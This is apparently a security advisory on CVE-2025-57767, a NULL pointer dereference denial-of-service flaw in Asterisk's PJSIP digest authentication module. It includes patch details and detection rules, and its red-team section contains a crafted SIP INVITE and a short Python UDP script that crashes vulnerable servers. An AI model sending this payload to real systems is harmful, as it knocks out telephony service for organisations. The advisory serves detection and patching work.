CVE-2025-57767

Executive Summary

CVE-2025-57767 is a critical NULL pointer dereference vulnerability in the Asterisk open-source PBX and telephony toolkit, specifically within the res_pjsip_authenticator_digest module. The flaw resides in the get_authorization_header() function, which fails to properly validate the return value when processing SIP Authorization headers. If a SIP request contains an Authorization header with a realm that does not match a previously issued 401 response's WWW-Authenticate header, or if an Authorization header with an incorrect realm is received without a prior 401 response, the function returns a NULL pointer. This NULL pointer is then dereferenced when attempting to extract the digest algorithm, leading to a segmentation fault (SEGV) and a denial of service (DoS) condition.

The vulnerability affects Asterisk versions prior to 20.15.2, 21.10.2, and 22.5.2. With a CVSS score of 7.5 (High), it is remotely exploitable without authentication, posing a significant risk to availability. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the critical nature of Asterisk in telephony infrastructure, immediate patching is strongly recommended.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core component of the Asterisk open-source project. Organizations using Asterisk should verify their version and apply the official patch from the Asterisk project.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service due to crash.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to crash the Asterisk service, causing a denial of service. This can disrupt telephony operations, including call handling, voicemail, and IVR systems.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference (CWE-476) in the SIP digest authentication handling of Asterisk's PJSIP stack. The res_pjsip_authenticator_digest module is responsible for authenticating SIP requests using HTTP Digest authentication.

Root Cause: The get_authorization_header() function is called to retrieve the Authorization header from a SIP request. This function returns a pointer to the header structure. However, if the SIP request contains an Authorization header with a realm that does not match the realm sent in a previous 401 Unauthorized response's WWW-Authenticate header, or if an Authorization header is received without a prior 401 challenge, the function returns NULL. The code then attempts to use this NULL pointer to extract the digest algorithm, leading to a segmentation fault.

Attack Scenario:

1. An attacker sends a crafted SIP INVITE or REGISTER request to the Asterisk server.
2. The request includes an Authorization header with a realm that does not match any expected realm (e.g., a random string).
3. The Asterisk server processes the request and calls get_authorization_header(), which returns NULL.
4. The code does not check for NULL before calling a function to get the digest algorithm from the header.
5. The NULL pointer dereference causes a segmentation fault, crashing the Asterisk process.

Impact:

• Denial of service: The Asterisk service becomes unavailable, dropping all active calls and preventing new ones.
• No data confidentiality or integrity impact, but availability is fully compromised.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-patch): The vulnerable code is in res/res_pjsip_authenticator_digest.c. The issue is the missing NULL check after calling get_authorization_header().

// Vulnerable snippet (conceptual)
static pjsip_authorization_hdr *get_authorization_header(pjsip_rx_data *rdata) {
    // ... logic that may return NULL if realm mismatch ...
    return NULL; // or a valid header
}

// In the authentication function:
pjsip_authorization_hdr *auth_hdr = get_authorization_header(rdata);
// No NULL check!
const pj_str_t *digest_algorithm = pjsip_digest_get_algorithm(auth_hdr); // SEGV if auth_hdr is NULL

Patched Code (Post-patch): The patch adds a NULL check before using the returned pointer.

// Patched snippet (conceptual)
pjsip_authorization_hdr *auth_hdr = get_authorization_header(rdata);
if (!auth_hdr) {
    // Handle the error, e.g., return 401 or drop the request
    return PJ_FALSE;
}
const pj_str_t *digest_algorithm = pjsip_digest_get_algorithm(auth_hdr);

The official patch is available in the Asterisk repository for versions 20.15.2, 21.10.2, and 22.5.2.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Asterisk server (version < 20.15.2, < 21.10.2, or < 22.5.2) with SIP/PJSIP enabled.
• Network access to the SIP port (default 5060 UDP/TCP).

Exploitation Steps:

1. Craft a malicious SIP request: Use a tool like sipsak, sipp, or a custom Python script to send a SIP INVITE or REGISTER with an invalid Authorization header.
2. Send the request: The request should contain an Authorization header with a realm that does not match any expected realm (e.g., realm="nonexistent").
3. Observe crash: The Asterisk process will crash, causing a denial of service.

Example SIP Request (using netcat):

INVITE sip:1000@target SIP/2.0
Via: SIP/2.0/UDP attacker:5060
From: <sip:attacker@attacker>;tag=12345
To: <sip:1000@target>
Call-ID: 1@attacker
CSeq: 1 INVITE
Contact: <sip:attacker@attacker>
Authorization: Digest username="attacker", realm="nonexistent", nonce="abc", uri="sip:1000@target", response="xyz"
Content-Length: 0

Python Exploit Script:

import socket

target_ip = "192.168.1.100"
target_port = 5060

payload = (
    "INVITE sip:1000@target SIP/2.0\r\n"
    "Via: SIP/2.0/UDP attacker:5060\r\n"
    "From: <sip:attacker@attacker>;tag=12345\r\n"
    "To: <sip:1000@target>\r\n"
    "Call-ID: 1@attacker\r\n"
    "CSeq: 1 INVITE\r\n"
    "Contact: <sip:attacker@attacker>\r\n"
    "Authorization: Digest username=\"attacker\", realm=\"nonexistent\", nonce=\"abc\", uri=\"sip:1000@target\", response=\"xyz\"\r\n"
    "Content-Length: 0\r\n"
    "\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload.encode(), (target_ip, target_port))
sock.close()

Blue Team (Detection & Defense)

Detection:

• Monitor Asterisk logs for segmentation faults or crashes.
• Look for SIP requests with Authorization headers containing unexpected realms.
• Use network monitoring to detect malformed SIP packets.

Defense:

• Apply the official patch immediately.
• Restrict SIP access to trusted IPs using firewalls or ACLs.
• Implement rate limiting on SIP endpoints.
• Use an intrusion detection system (IDS) to flag suspicious SIP traffic.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SIP requests with Authorization headers containing realms not seen in previous 401 responses.
  • Repeated SIP requests from the same source IP targeting the Asterisk server.
  • Sudden termination of Asterisk service (process crash).

• Log IOCs:

  • Asterisk log entries indicating a segmentation fault (e.g., [ERROR] segfault at ...).
  • System logs showing Asterisk process crash (e.g., kernel: asterisk[PID]: segfault at ...).

• File IOCs:

  • Core dump files generated by the Asterisk process (if enabled).

Detection Engineering

YARA Rule

rule CVE_2025_57767_Asterisk_SIP_NULL_Deref {
    meta:
        description = "Detects SIP packets with Authorization headers containing invalid realms targeting CVE-2025-57767"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57767"
    strings:
        $sip_method = /(INVITE|REGISTER|OPTIONS|SUBSCRIBE|NOTIFY|REFER|UPDATE|PRACK|INFO|MESSAGE|BYE|CANCEL)\s+sip:/ nocase
        $auth_header = /Authorization:\s*Digest\s+.*realm\s*=\s*"[^"]*"/ nocase
        $invalid_realm = /realm\s*=\s*"(?!asterisk|default|sip)[^"]*"/ nocase
    condition:
        $sip_method and $auth_header and $invalid_realm
}

Sigma Rule

title: CVE-2025-57767 - Asterisk SIP Authorization Header NULL Dereference
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SIP packets with Authorization headers containing realms not matching expected values, indicating potential exploitation of CVE-2025-57767.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57767
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: sip
        sip.method: "INVITE"
        sip.header.authorization|contains: "realm="
    filter:
        sip.header.authorization|contains: "realm=\"asterisk\""
    condition: selection and not filter
falsepositives:
    - Legitimate SIP clients with custom realm configurations
level: high

Suricata Rule

alert udp any any -> any 5060 (msg:"CVE-2025-57767 - Asterisk SIP Authorization Header NULL Dereference Attempt"; content:"INVITE"; nocase; content:"Authorization"; nocase; content:"realm="; nocase; pcre:"/realm\s*=\s*\"(?!asterisk|default|sip)[^\"]+\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Asterisk to version 20.15.2, 21.10.2, 22.5.2, or later. The patch is available from the official Asterisk repository.
2. Workarounds: None are available. Patching is the only solution.

Long-term Mitigations:

• Implement network segmentation to limit SIP exposure.
• Use a SIP-aware firewall or SBC (Session Border Controller) to filter malformed requests.
• Enable logging and monitoring for Asterisk crashes.
• Regularly update Asterisk to the latest stable version.

Verification:

• After patching, verify the fix by testing with a crafted SIP request containing an invalid realm. The server should respond with a 401 Unauthorized or drop the request without crashing.

Valters IT
DevSecOps & Cyber Threat Intelligence